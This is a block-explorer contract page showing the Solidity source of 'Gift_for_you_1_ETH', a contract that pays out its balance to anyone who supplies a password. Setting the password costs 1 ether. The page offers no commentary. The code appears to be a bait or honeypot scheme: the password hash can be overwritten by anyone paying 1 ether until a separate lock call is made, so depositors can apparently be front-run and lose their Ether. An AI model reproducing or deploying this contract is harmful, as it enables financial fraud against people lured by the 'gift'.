ETH Price: $2,352.08 (+1.69%)

Contract Diff Checker

Contract Name:
Gift_for_you_1_ETH

Contract Source Code:

File 1 of 1 : Gift_for_you_1_ETH

pragma solidity ^0.4.18;

contract Gift_for_you_1_ETH
{
    bool passHasBeenSet = false;
    
    function()payable{}
    
    function GetHash(bytes pass) constant returns (bytes32) {return sha3(pass);}
    
    bytes32 public hashPass;
    
    function SetPass(bytes32 hash)
    public
    payable
    {
        if(!passHasBeenSet&&(msg.value >= 1 ether))
        {
            hashPass = hash;
        }
    }
    
    function GetGift(bytes pass)
    public
    payable
    {
        if(hashPass == sha3(pass))
        {
            msg.sender.transfer(this.balance);
        }
    }
    
    function PassHasBeenSet(bytes32 hash)
    public
    {
        if(hash==hashPass)
        {
           passHasBeenSet=true;
        }
    }
}

Please enter a contract address above to load the contract details and source code.

Context size (optional):